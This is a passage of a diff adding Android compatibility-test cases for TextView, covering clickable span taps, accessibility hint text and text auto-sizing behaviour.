+        CtsTouchUtils.emulateDoubleTapOnView(mInstrumentation, mTextView, spanDetails.mXPosInside,
+                spanDetails.mYPosInside);
+        verify(spanDetails.mClickableSpan, times(2)).onClick(mTextView);
+    }
+
+    @Test
+    public void testClickableSpanOnClickSingleTapOutside() throws Throwable {
+        ClickableSpanTestDetails spanDetails = prepareAndRetrieveClickableSpanDetails();
+        CtsTouchUtils.emulateTapOnView(mInstrumentation, mTextView, spanDetails.mXPosOutside,
+                spanDetails.mYPosOutside);
+        verify(spanDetails.mClickableSpan, never()).onClick(mTextView);
+    }
+
+    @Test
+    public void testClickableSpanOnClickDragOutside() throws Throwable {
+        ClickableSpanTestDetails spanDetails = prepareAndRetrieveClickableSpanDetails();
+        final int[] viewOnScreenXY = new int[2];
+        mTextView.getLocationOnScreen(viewOnScreenXY);
+
+        SparseArray<Point> swipeCoordinates = new SparseArray<>();
+        swipeCoordinates.put(0, new Point(viewOnScreenXY[0] + spanDetails.mXPosOutside,
+                viewOnScreenXY[1] + spanDetails.mYPosOutside));
+        swipeCoordinates.put(1, new Point(viewOnScreenXY[0] + spanDetails.mXPosOutside + 50,
+                viewOnScreenXY[1] + spanDetails.mYPosOutside + 50));
+        CtsTouchUtils.emulateDragGesture(mInstrumentation, swipeCoordinates);
+        verify(spanDetails.mClickableSpan, never()).onClick(mTextView);
+    }
+
+    @UiThreadTest
+    @Test
+    public void testOnInitializeA11yNodeInfo_populatesHintTextProperly() {
+        final TextView textView = new TextView(mActivity);
+        textView.setText("", BufferType.EDITABLE);
+        final String hintText = "Hint text";
+        textView.setHint(hintText);
+        AccessibilityNodeInfo info = AccessibilityNodeInfo.obtain();
+        textView.onInitializeAccessibilityNodeInfo(info);
+        assertTrue("Hint text flag set incorrectly for accessibility", info.isShowingHintText());
+        assertTrue("Hint text not showing as accessibility text",
+                TextUtils.equals(hintText, info.getText()));
+        assertTrue("Hint text not provided to accessibility",
+                TextUtils.equals(hintText, info.getHintText()));
+
+        final String nonHintText = "Something else";
+        textView.setText(nonHintText, BufferType.EDITABLE);
+        textView.onInitializeAccessibilityNodeInfo(info);
+        assertFalse("Hint text flag set incorrectly for accessibility", info.isShowingHintText());
+        assertTrue("Text not provided to accessibility",
+                TextUtils.equals(nonHintText, info.getText()));
+        assertTrue("Hint text not provided to accessibility",
+                TextUtils.equals(hintText, info.getHintText()));
+    }
+
+    @Test
+    public void testAutosizeWithMaxLines_shouldNotThrowException() throws Throwable {
+        // the layout contains an instance of CustomTextViewWithTransformationMethod
+        final TextView textView = (TextView) mActivity.getLayoutInflater()
+                .inflate(R.layout.textview_autosize_maxlines, null);
+        assertTrue(textView instanceof CustomTextViewWithTransformationMethod);
+        assertEquals(1, textView.getMaxLines());
+        assertEquals(TextView.AUTO_SIZE_TEXT_TYPE_UNIFORM, textView.getAutoSizeTextType());
+        assertTrue(textView.getTransformationMethod() instanceof SingleLineTransformationMethod);
+    }
+
+    public static class CustomTextViewWithTransformationMethod extends TextView {
+        public CustomTextViewWithTransformationMethod(Context context) {
+            super(context);
+            init();
+        }
+
+        public CustomTextViewWithTransformationMethod(Context context,
+                @Nullable AttributeSet attrs) {
+            super(context, attrs);
+            init();
+        }
+
+        public CustomTextViewWithTransformationMethod(Context context,
+                @Nullable AttributeSet attrs, int defStyleAttr) {
+            super(context, attrs, defStyleAttr);
+            init();
+        }
+
+        public CustomTextViewWithTransformationMethod(Context context,
+                @Nullable AttributeSet attrs, int defStyleAttr, int defStyleRes) {
+            super(context, attrs, defStyleAttr, defStyleRes);
+            init();
+        }
+
+        private void init() {
+            setTransformationMethod(new SingleLineTransformationMethod());
+        }
+    }
+
+    @Test
+    public void testAutoSizeCallers_setText() throws Throwable {
+        final TextView autoSizeTextView = prepareAndRetrieveAutoSizeTestData(
+                R.id.textview_autosize_uniform, false);
+
+        // Configure layout params and auto-size both in pixels to dodge flakiness on different
+        // devices.
+        final LinearLayout.LayoutParams layoutParams = new LinearLayout.LayoutParams(
+                500, 500);
+        mActivityRule.runOnUiThread(() -> {
+            autoSizeTextView.setLayoutParams(layoutParams);
+            autoSizeTextView.setAutoSizeTextTypeUniformWithConfiguration(
+                    1, 5000, 1, TypedValue.COMPLEX_UNIT_PX);
+        });
+        mInstrumentation.waitForIdleSync();
+
+        final String initialText = "13characters ";
+        StringBuilder textToSet = new StringBuilder().append(initialText);
+
+        // As we add characters the text size shrinks.
+        for (int i = 0; i < 10; i++) {
+            mActivityRule.runOnUiThread(() ->
+                    autoSizeTextView.setText(textToSet.toString()));
+            mInstrumentation.waitForIdleSync();
+            float expectedLargerSize = autoSizeTextView.getTextSize();
+
+            textToSet.append(initialText);
+            mActivityRule.runOnUiThread(() ->
+                    autoSizeTextView.setText(textToSet.toString()));
+            mInstrumentation.waitForIdleSync();
+
+            assertTrue(expectedLargerSize > autoSizeTextView.getTextSize());
+        }
+
+        // As we remove characters the text size expands.
+        for (int i = 9; i >= 0; i--) {
+            mActivityRule.runOnUiThread(() ->
+                    autoSizeTextView.setText(textToSet.toString()));
+            mInstrumentation.waitForIdleSync();
+            float expectedSmallerSize = autoSizeTextView.getTextSize();
+
+            textToSet.replace((textToSet.length() - initialText.length()), textToSet.length(), "");
+            mActivityRule.runOnUiThread(() ->
+                    autoSizeTextView.setText(textToSet.toString()));
+            mInstrumentation.waitForIdleSync();
+
+            assertTrue(autoSizeTextView.getTextSize() > expectedSmallerSize);
+        }
+    }
+
+    @Test
+    public void testAutoSize_setEllipsize() throws Throwable {
+        final TextView textView = (TextView) mActivity.findViewById(
+                R.id.textview_autosize_uniform_predef_sizes);
+        final int initialAutoSizeType = textView.getAutoSizeTextType();
+        final int initialMinTextSize = textView.getAutoSizeMinTextSize();
+        final int initialMaxTextSize = textView.getAutoSizeMaxTextSize();
+        final int initialAutoSizeGranularity = textView.getAutoSizeStepGranularity();
+        final int initialSizes = textView.getAutoSizeTextAvailableSizes().length;
+
+        assertEquals(null, textView.getEllipsize());
+        // Verify styled attributes.
+        assertEquals(TextView.AUTO_SIZE_TEXT_TYPE_UNIFORM, initialAutoSizeType);
+        assertNotEquals(-1, initialMinTextSize);
+        assertNotEquals(-1, initialMaxTextSize);
+        // Because this TextView has been configured to use predefined sizes.
+        assertEquals(-1, initialAutoSizeGranularity);
+        assertNotEquals(0, initialSizes);
+
+        final TextUtils.TruncateAt newEllipsizeValue = TextUtils.TruncateAt.END;
+        mActivityRule.runOnUiThread(() ->
+                textView.setEllipsize(newEllipsizeValue));
+        mInstrumentation.waitForIdleSync();
+        assertEquals(newEllipsizeValue, textView.getEllipsize());
+        // Beside the ellipsis no auto-size attribute has changed.
+        assertEquals(initialAutoSizeType, textView.getAutoSizeTextType());
+        assertEquals(initialMinTextSize, textView.getAutoSizeMinTextSize());
+        assertEquals(initialMaxTextSize, textView.getAutoSizeMaxTextSize());
+        assertEquals(initialAutoSizeGranularity, textView.getAutoSizeStepGranularity());
+        assertEquals(initialSizes, textView.getAutoSizeTextAvailableSizes().length);
+    }
+
+    @Test
+    public void testEllipsize_setAutoSize() throws Throwable {
+        TextView textView = findTextView(R.id.textview_text);
+        final TextUtils.TruncateAt newEllipsizeValue = TextUtils.TruncateAt.END;
+        mActivityRule.runOnUiThread(() ->
+                textView.setEllipsize(newEllipsizeValue));
+        mInstrumentation.waitForIdleSync();
+        assertEquals(newEllipsizeValue, textView.getEllipsize());
+        assertEquals(TextView.AUTO_SIZE_TEXT_TYPE_NONE, textView.getAutoSizeTextType());
+        assertEquals(-1, textView.getAutoSizeMinTextSize());
+        assertEquals(-1, textView.getAutoSizeMaxTextSize());
+        assertEquals(-1, textView.getAutoSizeStepGranularity());
+        assertEquals(0, textView.getAutoSizeTextAvailableSizes().length);
+
+        mActivityRule.runOnUiThread(() ->
+                textView.setAutoSizeTextTypeWithDefaults(TextView.AUTO_SIZE_TEXT_TYPE_UNIFORM));
+        mInstrumentation.waitForIdleSync();
+        assertEquals(newEllipsizeValue, textView.getEllipsize());
+        assertEquals(TextView.AUTO_SIZE_TEXT_TYPE_UNIFORM, textView.getAutoSizeTextType());
+        // The auto-size defaults have been used.
+        assertNotEquals(-1, textView.getAutoSizeMinTextSize());
+        assertNotEquals(-1, textView.getAutoSizeMaxTextSize());
+        assertNotEquals(-1, textView.getAutoSizeStepGranularity());
+        assertNotEquals(0, textView.getAutoSizeTextAvailableSizes().length);
+    }
+
+    @Test
+    public void testAutoSizeCallers_setCompoundDrawables() throws Throwable {
+        final TextView autoSizeTextView = prepareAndRetrieveAutoSizeTestData(
+                R.id.textview_autosize_uniform, false);
+        final float initialTextSize = autoSizeTextView.getTextSize();
+        Drawable drawable = TestUtils.getDrawable(mActivity, R.drawable.red);
+        drawable.setBounds(0, 0, autoSizeTextView.getWidth() / 3, autoSizeTextView.getHeight() / 3);
+        mActivityRule.runOnUiThread(() ->
+                autoSizeTextView.setCompoundDrawables(drawable, drawable, drawable, drawable));
+        mInstrumentation.waitForIdleSync();
+
+        assertTrue(autoSizeTextView.getTextSize() < initialTextSize);
+    }
+
+    @Test
+    public void testAutoSizeCallers_setCompoundDrawablesRelative() throws Throwable {
+        final TextView autoSizeTextView = prepareAndRetrieveAutoSizeTestData(
+                R.id.textview_autosize_uniform, false);
+        final float initialTextSize = autoSizeTextView.getTextSize();
+        Drawable drawable = TestUtils.getDrawable(mActivity, R.drawable.red);
+        drawable.setBounds(0, 0, autoSizeTextView.getWidth() / 3, autoSizeTextView.getHeight() / 3);
+        mActivityRule.runOnUiThread(() -> autoSizeTextView.setCompoundDrawablesRelative(
+                drawable, drawable, drawable, drawable));
+        mInstrumentation.waitForIdleSync();
+
+        assertTrue(autoSizeTextView.getTextSize() < initialTextSize);
+    }
+
+    @Test
+    public void testAutoSizeCallers_setCompoundDrawablePadding() throws Throwable {
+        final TextView autoSizeTextView = prepareAndRetrieveAutoSizeTestData(
+                R.id.textview_autosize_uniform, false);
+        // Prepare a larger layout in order not to hit the min value easily.
+        mActivityRule.runOnUiThread(() -> {
+            autoSizeTextView.setWidth(autoSizeTextView.getWidth() * 2);
+            autoSizeTextView.setHeight(autoSizeTextView.getHeight() * 2);
+        });
+        mInstrumentation.waitForIdleSync();
+        // Setup the drawables before setting their padding in order to modify the available
+        // space and trigger a resize.
+        Drawable drawable = TestUtils.getDrawable(mActivity, R.drawable.red);
+        drawable.setBounds(0, 0, autoSizeTextView.getWidth() / 4, autoSizeTextView.getHeight() / 4);
+        mActivityRule.runOnUiThread(() -> autoSizeTextView.setCompoundDrawables(
+                drawable, drawable, drawable, drawable));
+        mInstrumentation.waitForIdleSync();
+        final float initialTextSize = autoSizeTextView.getTextSize();
+        mActivityRule.runOnUiThread(() -> autoSizeTextView.setCompoundDrawablePadding(
+                autoSizeTextView.getCompoundDrawablePadding() + 10));
+        mInstrumentation.waitForIdleSync();
+
+        assertTrue(autoSizeTextView.getTextSize() < initialTextSize);
+    }
+
+    @Test
+    public void testAutoSizeCallers_setPadding() throws Throwable {
+        final TextView autoSizeTextView = prepareAndRetrieveAutoSizeTestData(
+                R.id.textview_autosize_uniform, false);
+        final float initialTextSize = autoSizeTextView.getTextSize();
+        mActivityRule.runOnUiThread(() -> autoSizeTextView.setPadding(
+                autoSizeTextView.getWidth() / 3, autoSizeTextView.getHeight() / 3,
+                autoSizeTextView.getWidth() / 3, autoSizeTextView.getHeight() / 3));
+        mInstrumentation.waitForIdleSync();
+
+        assertTrue(autoSizeTextView.getTextSize() < initialTextSize);
+    }
+
+    @Test
+    public void testAutoSizeCallers_setPaddingRelative() throws Throwable {
+        final TextView autoSizeTextView = prepareAndRetrieveAutoSizeTestData(
+                R.id.textview_autosize_uniform, false);
+        final float initialTextSize = autoSizeTextView.getTextSize();
+
+        mActivityRule.runOnUiThread(() -> autoSizeTextView.setPaddingRelative(
+                autoSizeTextView.getWidth() / 3, autoSizeTextView.getHeight() / 3,
+                autoSizeTextView.getWidth() / 3, autoSizeTextView.getHeight() / 3));
+        mInstrumentation.waitForIdleSync();
+
+        assertTrue(autoSizeTextView.getTextSize() < initialTextSize);
+    }
+
+    @Test
+    public void testAutoSizeCallers_setTextScaleX() throws Throwable {
+        final TextView autoSizeTextView = prepareAndRetrieveAutoSizeTestData(
+                R.id.textview_autosize_uniform, false);
+        final float initialTextSize = autoSizeTextView.getTextSize();
+
+        mActivityRule.runOnUiThread(() ->
+                autoSizeTextView.setTextScaleX(autoSizeTextView.getTextScaleX() * 4.5f));
+        mInstrumentation.waitForIdleSync();
+        final float changedTextSize = autoSizeTextView.getTextSize();
+
+        assertTrue(changedTextSize < initialTextSize);
+
+        mActivityRule.runOnUiThread(() ->
+                autoSizeTextView.setTextScaleX(autoSizeTextView.getTextScaleX()));
+        mInstrumentation.waitForIdleSync();
+
+        assertEquals(changedTextSize, autoSizeTextView.getTextSize(), 0f);
+    }
+
+    @Test
+    public void testAutoSizeCallers_setTypeface() throws Throwable {
+        final TextView autoSizeTextView = prepareAndRetrieveAutoSizeTestData(
+                R.id.textview_autosize_uniform, false);
+        mActivityRule.runOnUiThread(() ->
+                autoSizeTextView.setText("The typeface change needs a bit more text then "
+                        + "the default used for this batch of tests in order to get to resize text."
+                        + " The resize function is always called but even with different typefaces "
+                        + "there may not be a need to resize text because it just fits. The longer "
+                        + "the text, the higher the chance for a resize. And here is yet another "
+                        + "sentence to make sure this test is not flaky. Not flaky at all."));
+        mInstrumentation.waitForIdleSync();
+        final float initialTextSize = autoSizeTextView.getTextSize();
+
+        mActivityRule.runOnUiThread(() -> {
+            Typeface differentTypeface = Typeface.MONOSPACE;
+            if (autoSizeTextView.getTypeface() == Typeface.MONOSPACE) {
+                differentTypeface = Typeface.SANS_SERIF;
             }
+            autoSizeTextView.setTypeface(differentTypeface);
+        });
+        mInstrumentation.waitForIdleSync();
+        final float changedTextSize = autoSizeTextView.getTextSize();
+
+        // Don't really know if it is larger or smaller (depends on the typeface chosen above),
+        // but it should definitely have changed.
+        assertNotEquals(initialTextSize, changedTextSize, 0f);
+
+        mActivityRule.runOnUiThread(() ->
+                autoSizeTextView.setTypeface(autoSizeTextView.getTypeface()));
+        mInstrumentation.waitForIdleSync();
+
+        assertEquals(changedTextSize, autoSizeTextView.getTextSize(), 0f);
+    }
+
+    @Test
+    public void testAutoSizeCallers_setLetterSpacing() throws Throwable {
+        final TextView autoSizeTextView = prepareAndRetrieveAutoSizeTestData(
+                R.id.textview_autosize_uniform, false);
+        final float initialTextSize = autoSizeTextView.getTextSize();
+
+        mActivityRule.runOnUiThread(() ->
+                // getLetterSpacing() could return 0, make sure there is enough of a difference to
+                // trigger auto-size.
+                autoSizeTextView.setLetterSpacing(
+                        autoSizeTextView.getLetterSpacing() * 1.5f + 4.5f));
+        mInstrumentation.waitForIdleSync();
+        final float changedTextSize = autoSizeTextView.getTextSize();
+
+        assertTrue(changedTextSize < initialTextSize);
+
+        mActivityRule.runOnUiThread(() ->
+                autoSizeTextView.setLetterSpacing(autoSizeTextView.getLetterSpacing()));
+        mInstrumentation.waitForIdleSync();
+
+        assertEquals(changedTextSize, autoSizeTextView.getTextSize(), 0f);
+    }
+
+    @Test
+    public void testAutoSizeCallers_setHorizontallyScrolling() throws Throwable {
+        final TextView autoSizeTextView = prepareAndRetrieveAutoSizeTestData(
+                R.id.textview_autosize_uniform, false);
+        // Verify that we do not have horizontal scrolling turned on.
+        assertTrue(!autoSizeTextView.getHorizontallyScrolling());
+
+        final float initialTextSize = autoSizeTextView.getTextSize();
+        mActivityRule.runOnUiThread(() -> autoSizeTextView.setHorizontallyScrolling(true));
+        mInstrumentation.waitForIdleSync();
+        assertTrue(autoSizeTextView.getTextSize() > initialTextSize);
+
+        mActivityRule.runOnUiThread(() -> autoSizeTextView.setHorizontallyScrolling(false));
+        mInstrumentation.waitForIdleSync();
+        assertEquals(initialTextSize, autoSizeTextView.getTextSize(), 0f);
+    }
+
+    @Test
+    public void testAutoSizeCallers_setMaxLines() throws Throwable {
+        final TextView autoSizeTextView = prepareAndRetrieveAutoSizeTestData(
+                R.id.textview_autosize_uniform, false);
+        final float initialTextSize = autoSizeTextView.getTextSize();
+        mActivityRule.runOnUiThread(() -> autoSizeTextView.setMaxLines(1));
+        mInstrumentation.waitForIdleSync();
+
+        assertTrue(autoSizeTextView.getTextSize() < initialTextSize);
+    }
+
+    @Test
+    public void testAutoSizeCallers_setMaxHeight() throws Throwable {
+        final TextView autoSizeTextView = prepareAndRetrieveAutoSizeTestData(
+                R.id.textview_autosize_uniform, true);
+        // Do not force exact height only.
+        final LinearLayout.LayoutParams layoutParams = new LinearLayout.LayoutParams(
+                200,
+                LinearLayout.LayoutParams.WRAP_CONTENT);
+        mActivityRule.runOnUiThread(() -> autoSizeTextView.setLayoutParams(layoutParams));
+        mInstrumentation.waitForIdleSync();
+        final float initialTextSize = autoSizeTextView.getTextSize();
+        mActivityRule.runOnUiThread(() -> autoSizeTextView.setMaxHeight(
+                autoSizeTextView.getHeight() / 4));
+        mInstrumentation.waitForIdleSync();
+
+        assertTrue(autoSizeTextView.getTextSize() < initialTextSize);
+    }
+
+    @Test
+    public void testAutoSizeCallers_setHeight() throws Throwable {
+        final TextView autoSizeTextView = prepareAndRetrieveAutoSizeTestData(
+                R.id.textview_autosize_uniform, true);
+        // Do not force exact height only.
+        final LinearLayout.LayoutParams layoutParams = new LinearLayout.LayoutParams(
+                200,
+                LinearLayout.LayoutParams.WRAP_CONTENT);
+        mActivityRule.runOnUiThread(() -> autoSizeTextView.setLayoutParams(layoutParams));
+        mInstrumentation.waitForIdleSync();
+        final float initialTextSize = autoSizeTextView.getTextSize();
+        mActivityRule.runOnUiThread(() -> autoSizeTextView.setHeight(
+                autoSizeTextView.getHeight() / 4));
+        mInstrumentation.waitForIdleSync();
+
+        assertTrue(autoSizeTextView.getTextSize() < initialTextSize);
+    }
+
+    @Test
+    public void testAutoSizeCallers_setLines() throws Throwable {
+        final TextView autoSizeTextView = prepareAndRetrieveAutoSizeTestData(
+                R.id.textview_autosize_uniform, false);
+        final float initialTextSize = autoSizeTextView.getTextSize();
+        mActivityRule.runOnUiThread(() -> autoSizeTextView.setLines(1));
+        mInstrumentation.waitForIdleSync();
+
+        assertTrue(autoSizeTextView.getTextSize() < initialTextSize);
+    }
+
+    @Test
+    public void testAutoSizeCallers_setMaxWidth() throws Throwable {
+        final TextView autoSizeTextView = prepareAndRetrieveAutoSizeTestData(
+                R.id.textview_autosize_uniform, true);
+        // Do not force exact width only.
+        final LinearLayout.LayoutParams layoutParams = new LinearLayout.LayoutParams(
+                LinearLayout.LayoutParams.WRAP_CONTENT,
+                200);
+        mActivityRule.runOnUiThread(() -> autoSizeTextView.setLayoutParams(layoutParams));
+        mInstrumentation.waitForIdleSync();
+        final float initialTextSize = autoSizeTextView.getTextSize();
+        mActivityRule.runOnUiThread(() -> autoSizeTextView.setMaxWidth(
+                autoSizeTextView.getWidth() / 4));
+        mInstrumentation.waitForIdleSync();
+
+        assertTrue(autoSizeTextView.getTextSize() != initialTextSize);
+    }
+
+    @Test
+    public void testAutoSizeCallers_setWidth() throws Throwable {
+        final TextView autoSizeTextView = prepareAndRetrieveAutoSizeTestData(
+                R.id.textview_autosize_uniform, true);
+        // Do not force exact width only.
+        final LinearLayout.LayoutParams layoutParams = new LinearLayout.LayoutParams(
+                LinearLayout.LayoutParams.WRAP_CONTENT,
+                200);
+        mActivityRule.runOnUiThread(() -> autoSizeTextView.setLayoutParams(layoutParams));
+        mInstrumentation.waitForIdleSync();
+
+        final float initialTextSize = autoSizeTextView.getTextSize();
+        mActivityRule.runOnUiThread(() -> autoSizeTextView.setWidth(
+                autoSizeTextView.getWidth() / 4));
+        mInstrumentation.waitForIdleSync();
+
+        assertTrue(autoSizeTextView.getTextSize() != initialTextSize);
+    }
+
+    @Test
+    public void testAutoSizeCallers_setLineSpacing() throws Throwable {
+        final TextView autoSizeTextView = prepareAndRetrieveAutoSizeTestData(
+                R.id.textview_autosize_uniform, false);
+        final float initialTextSize = autoSizeTextView.getTextSize();
+
+        mActivityRule.runOnUiThread(() -> autoSizeTextView.setLineSpacing(
+                autoSizeTextView.getLineSpacingExtra() * 4,
+                autoSizeTextView.getLineSpacingMultiplier() * 4));
+        mInstrumentation.waitForIdleSync();
+        final float changedTextSize = autoSizeTextView.getTextSize();
+
+        assertTrue(changedTextSize < initialTextSize);
+
+        mActivityRule.runOnUiThread(() -> autoSizeTextView.setLineSpacing(
+                autoSizeTextView.getLineSpacingExtra(),
+                autoSizeTextView.getLineSpacingMultiplier()));
+        mInstrumentation.waitForIdleSync();
+
+        assertEquals(changedTextSize, autoSizeTextView.getTextSize(), 0f);
+    }
+
+    @Test
+    public void testAutoSizeCallers_setTextSizeIsNoOp() throws Throwable {
+        final TextView autoSizeTextView = prepareAndRetrieveAutoSizeTestData(
+                R.id.textview_autosize_uniform, false);
+        final float initialTextSize = autoSizeTextView.getTextSize();
+
+        mActivityRule.runOnUiThread(() -> autoSizeTextView.setTextSize(
+                initialTextSize + 123f));
+        mInstrumentation.waitForIdleSync();
+
+        assertEquals(initialTextSize, autoSizeTextView.getTextSize(), 0f);
+    }
+
+    @Test
+    public void testAutoSizeCallers_setHeightForOneLineText() throws Throwable {
+        final TextView autoSizeTextView = (TextView) mActivity.findViewById(
+                R.id.textview_autosize_basic);
+        assertEquals(TextView.AUTO_SIZE_TEXT_TYPE_UNIFORM, autoSizeTextView.getAutoSizeTextType());
+        final float initialTextSize = autoSizeTextView.getTextSize();
+        mActivityRule.runOnUiThread(() -> autoSizeTextView.setHeight(
+                autoSizeTextView.getHeight() * 3));
+        mInstrumentation.waitForIdleSync();
+
+        assertTrue(autoSizeTextView.getTextSize() > initialTextSize);
+    }
+
+    @Test
+    public void testAutoSizeUniform_obtainStyledAttributes() {
+        DisplayMetrics metrics = mActivity.getResources().getDisplayMetrics();
+        TextView autoSizeTextViewUniform = (TextView) mActivity.findViewById(
+                R.id.textview_autosize_uniform);
+
+        // The size has been set to 50dp in the layout but this being an AUTO_SIZE_TEXT_TYPE_UNIFORM
+        // TextView, the size is considered max size thus the value returned by getSize() in this
+        // case should be lower than the one set (given that there is not much available space and
+        // the font size is very high). In theory the values could be equal for a different TextView
+        // configuration.
+        final float sizeSetInPixels = TypedValue.applyDimension(
+                TypedValue.COMPLEX_UNIT_DIP, 50f, metrics);
+        assertTrue(autoSizeTextViewUniform.getTextSize() < sizeSetInPixels);
+    }
+
+    @Test
+    public void testAutoSizeUniform_obtainStyledAttributesUsingPredefinedSizes() {
+        DisplayMetrics m = mActivity.getResources().getDisplayMetrics();
+        final TextView autoSizeTextViewUniform = (TextView) mActivity.findViewById(
+                R.id.textview_autosize_uniform_predef_sizes);
+
+        // In arrays.xml predefined the step sizes as: 10px, 10dp, 10sp, 10pt, 10in and 10mm.
+        // TypedValue can not use the math library and instead naively ceils the value by adding
+        // 0.5f when obtaining styled attributes. Check TypedValue#complexToDimensionPixelSize(...)
+        int[] expectedSizesInPx = new int[] {
+                (int) (0.5f + TypedValue.applyDimension(TypedValue.COMPLEX_UNIT_PX, 10f, m)),
+                (int) (0.5f + TypedValue.applyDimension(TypedValue.COMPLEX_UNIT_DIP, 10f, m)),
+                (int) (0.5f + TypedValue.applyDimension(TypedValue.COMPLEX_UNIT_SP, 10f, m)),
+                (int) (0.5f + TypedValue.applyDimension(TypedValue.COMPLEX_UNIT_PT, 10f, m)),
+                (int) (0.5f + TypedValue.applyDimension(TypedValue.COMPLEX_UNIT_IN, 10f, m)),
+                (int) (0.5f + TypedValue.applyDimension(TypedValue.COMPLEX_UNIT_MM, 10f, m))};
+
+        boolean containsValueFromExpectedSizes = false;
+        int textSize = (int) autoSizeTextViewUniform.getTextSize();
+        for (int i = 0; i < expectedSizesInPx.length; i++) {
+            if (expectedSizesInPx[i] == textSize) {
+                containsValueFromExpectedSizes = true;
+                break;
+            }
+        }
+        assertTrue(containsValueFromExpectedSizes);
+    }
+
+    @Test
+    public void testAutoSizeUniform_obtainStyledAttributesPredefinedSizesFiltering() {
+        TextView autoSizeTextViewUniform = (TextView) mActivity.findViewById(
+                R.id.textview_autosize_uniform_predef_sizes_redundant_values);
+
+        // In arrays.xml predefined the step sizes as: 40px, 10px, 10px, 10px, 0dp.
+        final int[] expectedSizes = new int[] {10, 40};
+        assertArrayEquals(expectedSizes, autoSizeTextViewUniform.getAutoSizeTextAvailableSizes());
+    }
+
+    @Test
+    public void testAutoSizeUniform_predefinedSizesFilteringAndSorting() throws Throwable {
+        mTextView = findTextView(R.id.textview_text);
+        assertEquals(TextView.AUTO_SIZE_TEXT_TYPE_NONE, mTextView.getAutoSizeTextType());
+
+        final int[] predefinedSizes = new int[] {400, 0, 10, 40, 10, 10, 0, 0};
+        mActivityRule.runOnUiThread(() -> mTextView.setAutoSizeTextTypeUniformWithPresetSizes(
+                predefinedSizes, TypedValue.COMPLEX_UNIT_PX));
+        mInstrumentation.waitForIdleSync();
+        assertArrayEquals(new int[] {10, 40, 400}, mTextView.getAutoSizeTextAvailableSizes());
+    }
+
+    @Test(expected = NullPointerException.class)
+    public void testAutoSizeUniform_predefinedSizesNullArray() throws Throwable {
+        mTextView = findTextView(R.id.textview_text);
+        assertEquals(TextView.AUTO_SIZE_TEXT_TYPE_NONE, mTextView.getAutoSizeTextType());
+
+        final int[] predefinedSizes = null;
+        mActivityRule.runOnUiThread(() -> mTextView.setAutoSizeTextTypeUniformWithPresetSizes(
+                predefinedSizes, TypedValue.COMPLEX_UNIT_PX));
+        mInstrumentation.waitForIdleSync();
+    }
+
+    @Test
+    public void testAutoSizeUniform_predefinedSizesEmptyArray() throws Throwable {
+        mTextView = findTextView(R.id.textview_text);
+        assertEquals(TextView.AUTO_SIZE_TEXT_TYPE_NONE, mTextView.getAutoSizeTextType());
+
+        mActivityRule.runOnUiThread(() ->
+                mTextView.setAutoSizeTextTypeWithDefaults(TextView.AUTO_SIZE_TEXT_TYPE_UNIFORM));
+        mInstrumentation.waitForIdleSync();
+
+        final int[] defaultSizes = mTextView.getAutoSizeTextAvailableSizes();
+        assertNotNull(defaultSizes);
+        assertTrue(defaultSizes.length > 0);
+
+        final int[] predefinedSizes = new int[0];
+        mActivityRule.runOnUiThread(() -> mTextView.setAutoSizeTextTypeUniformWithPresetSizes(
+                predefinedSizes, TypedValue.COMPLEX_UNIT_PX));
+        mInstrumentation.waitForIdleSync();
+
+        final int[] newSizes = mTextView.getAutoSizeTextAvailableSizes();
+        assertNotNull(defaultSizes);
+        assertArrayEquals(defaultSizes, newSizes);
+    }
+
+    @Test
+    public void testAutoSizeUniform_buildsSizes() throws Throwable {
+        TextView autoSizeTextViewUniform = (TextView) mActivity.findViewById(
+                R.id.textview_autosize_uniform);
+
+        // Verify that the interval limits are both included.
+        mActivityRule.runOnUiThread(() -> autoSizeTextViewUniform
+                .setAutoSizeTextTypeUniformWithConfiguration(10, 20, 2,
+                        TypedValue.COMPLEX_UNIT_PX));
+        mInstrumentation.waitForIdleSync();
+        assertArrayEquals(
+                new int[] {10, 12, 14, 16, 18, 20},
+                autoSizeTextViewUniform.getAutoSizeTextAvailableSizes());
+
+        mActivityRule.runOnUiThread(() -> autoSizeTextViewUniform
+                .setAutoSizeTextTypeUniformWithConfiguration(
+                        autoSizeTextViewUniform.getAutoSizeMinTextSize(),
+                        19,
+                        autoSizeTextViewUniform.getAutoSizeStepGranularity(),
+                        TypedValue.COMPLEX_UNIT_PX));
+        mInstrumentation.waitForIdleSync();
+        assertArrayEquals(
+                new int[] {10, 12, 14, 16, 18},
+                autoSizeTextViewUniform.getAutoSizeTextAvailableSizes());
+
+        mActivityRule.runOnUiThread(() -> autoSizeTextViewUniform
+                .setAutoSizeTextTypeUniformWithConfiguration(
+                        autoSizeTextViewUniform.getAutoSizeMinTextSize(),
+                        21,
+                        autoSizeTextViewUniform.getAutoSizeStepGranularity(),
+                        TypedValue.COMPLEX_UNIT_PX));
+        mInstrumentation.waitForIdleSync();
+        assertArrayEquals(
+                new int[] {10, 12, 14, 16, 18, 20},
+                autoSizeTextViewUniform.getAutoSizeTextAvailableSizes());
+    }
+
+    @Test
+    public void testAutoSizeUniform_getSetAutoSizeTextDefaults() {
+        final TextView textView = new TextView(mActivity);
+        assertEquals(TextView.AUTO_SIZE_TEXT_TYPE_NONE, textView.getAutoSizeTextType());
+        // Min/Max/Granularity values for auto-sizing are 0 because they are not used.
+        assertEquals(-1, textView.getAutoSizeMinTextSize());
+        assertEquals(-1, textView.getAutoSizeMaxTextSize());
+        assertEquals(-1, textView.getAutoSizeStepGranularity());
+
+        textView.setAutoSizeTextTypeWithDefaults(TextView.AUTO_SIZE_TEXT_TYPE_UNIFORM);
+        assertEquals(TextView.AUTO_SIZE_TEXT_TYPE_UNIFORM, textView.getAutoSizeTextType());
+        // Min/Max default values for auto-sizing XY have been loaded.
+        final int minSize = textView.getAutoSizeMinTextSize();
+        final int maxSize = textView.getAutoSizeMaxTextSize();
+        assertTrue(0 < minSize);
+        assertTrue(minSize < maxSize);
+        assertNotEquals(0, textView.getAutoSizeStepGranularity());
+
+        textView.setAutoSizeTextTypeWithDefaults(TextView.AUTO_SIZE_TEXT_TYPE_NONE);
+        assertEquals(TextView.AUTO_SIZE_TEXT_TYPE_NONE, textView.getAutoSizeTextType());
+        // Min/Max values for auto-sizing XY have been cleared.
+        assertEquals(-1, textView.getAutoSizeMinTextSize());
+        assertEquals(-1, textView.getAutoSizeMaxTextSize());
+        assertEquals(-1, textView.getAutoSizeStepGranularity());
+    }
+
+    @Test
+    public void testAutoSizeUniform_getSetAutoSizeStepGranularity() {
+        final TextView textView = new TextView(mActivity);
+        assertEquals(TextView.AUTO_SIZE_TEXT_TYPE_NONE, textView.getAutoSizeTextType());
+        final int initialValue = -1;
